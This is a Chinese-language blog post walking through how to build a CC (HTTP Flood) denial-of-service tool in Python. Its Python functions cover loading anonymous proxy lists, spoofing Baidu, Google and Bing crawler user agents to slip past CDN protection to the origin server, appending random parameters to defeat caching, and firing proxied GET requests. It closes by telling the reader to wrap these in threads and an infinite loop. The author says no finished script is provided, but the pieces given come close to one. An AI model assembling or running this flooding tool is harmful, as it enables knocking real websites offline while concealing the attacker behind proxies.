首先需要了解什么是 CC攻击 以及实现原理:HTTP Flood 的别称叫做 CC 攻击,实现 HTTP Flood 攻击并不需要控制大批的肉鸡,取而代之的是通过端口扫描程序在互联网上寻找匿名的 HTTP代理 或者 SOCKS代理。攻击者通过匿名代理伪装成正常用户来对攻击目标发起 HTTP 请求,产生大量的连接数来消耗站点资源,CC 攻击主要是针对网页的攻击。

通过上面的描述,可以总结出以下几点:
1. 需要一定量的可用高匿代理
2. 需要通过代理请求站点
3. 需要多线程甚至多进程配合多线程的方式实现请求

Python 库

  1. requests,实现 HTTP 请求
  2. fake_useragent,随机生成浏览器 UA
    还有一些官方库,如 threading、random、time 等

编写思路

注:为避免滥用,本文不提供成品脚本,博主水平业余,代码难免有不合理之处,请谅解。

  1. 网上有很多免费代理站,可以提取到不少代理 IP,不过大部分都是不可用的,需要增加验证步骤。上次搞爬虫做了一个提取代理 IP 的脚本可以直接用:Proxy-IP,不过这个脚本生成的是 .txt,所以还需要取出来供后续使用:
# 读取IP列表函数
def open_file(txt):
    global ip
    ip = []
    try:
        file = open(txt, "r", encoding="utf-8")
        ip_lists = file.readlines()  # 取出每行作为数组
        for i in ip_lists:
            ip.append(i.replace("n", ""))
        print("共读取到" + str(len(ip)) + "个IP!")
    except Exception as e:
        print(e)
  1. 现在不少站点都开了 CDN,但是有些站长为了及时收录开启了搜索引擎回源,可以通过伪造蜘蛛 UA 绕过 CDN 防护从而访问源站:
# UA列表,用于过CDN和部分盾
UA = [
    "Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)",  # 百度蜘蛛抓取欺骗
    "Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)",  # 谷歌蜘蛛抓取欺骗
    "Sogou web spider/4.0( http://www.sogou.com/docs/help/webmasters.htm#07)",  # 搜狗蜘蛛抓取欺骗
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11; 360Spider",  # 奇虎蜘蛛抓取欺骗
    "Mozilla/5.0 (compatible; bingbot/2.0 http://www.bing.com/bingbot.htm)"  # 必应蜘蛛抓取欺骗
]
  1. GET请求方式需要添加随机参数值,不管是原始的参数随机,还是自定义一个 random 参数都是很有必要的,可跨过一些 cache:
# 生成随机参数函数
def random_parameters(site_url):
    items = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
             'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
    temp = ""
    random_str = temp.join(random.sample(items, 10))
    if site_url.find('?') >= 0:
        site_url = site_url + "&_random=" + random_str
    else:
        site_url = site_url + "/?_random=" + random_str
    return site_url
  1. 准备完成,下一步需要通过代理请求站点:
# GET请求主线程函数
def cc(site, ua, refer, mode):
    # Header请求头,如有其它参数的可以往里面加
    headers = {
        "User-Agent": "",
        "Referer": "",
        "Cache-Control": "no-cache"
    }
    # 选择User-Agent
    if ua == '2':
        headers["User-Agent"] = UA[1]
    elif ua == '3':
        headers["User-Agent"] = UA[2]
    elif ua == '4':
        headers["User-Agent"] = UA[3]
    elif ua == '5':
        headers["User-Agent"] = UA[4]
    elif ua == '6':
        random_ua = UserAgent()
        headers["User-Agent"] = random_ua.random
    elif ua == '7':
        headers["User-Agent"] = random.choice(UA)
    else:
        headers["User-Agent"] = UA[0]
    # 选择Referer
    headers["Referer"] = refer
    # print(headers)
    # 选择是否使用代理
    try:
        if mode == "2":
            res = requests.get(random_parameters(site), headers=headers, timeout=15)  # 不使用代理IP,超时时间默认15S,也就是10秒请求不到内容才进入下一个请求,不要太快
        else:
            proxy_host = random.choice(ip)  # 随取IP
            proxy_temp = {"http": proxy_host, "https": proxy_host}
            res = requests.get(random_parameters(site), headers=headers, proxies=proxy_temp, timeout=15)  # 使用代理IP
        print(res)
    except Exception as e:
        print(e)
  1. 最后就是使用 Python 多线程或者多进程配合多线程的方法来调用 cc() 函数提高效率了,再套层死循环。

注意事项

不建议无限制的发包,timeout 设置的很低是没有意义的,只会让自己的主机 CPU 使用率抬的太高而卡死,请求断开了服务端会直接无视这个请求,直接完成连接获取数据即可。

后话

这东西最后我是用线程池实现的多线程请求,不得不说 requests 这个库是真的好用,测试时使用了100多个代理,直接把自己博客搞挂,不过对于 Cloudflare 这种5秒盾的 CDN 来说就没办法了。


Never give up your dreams.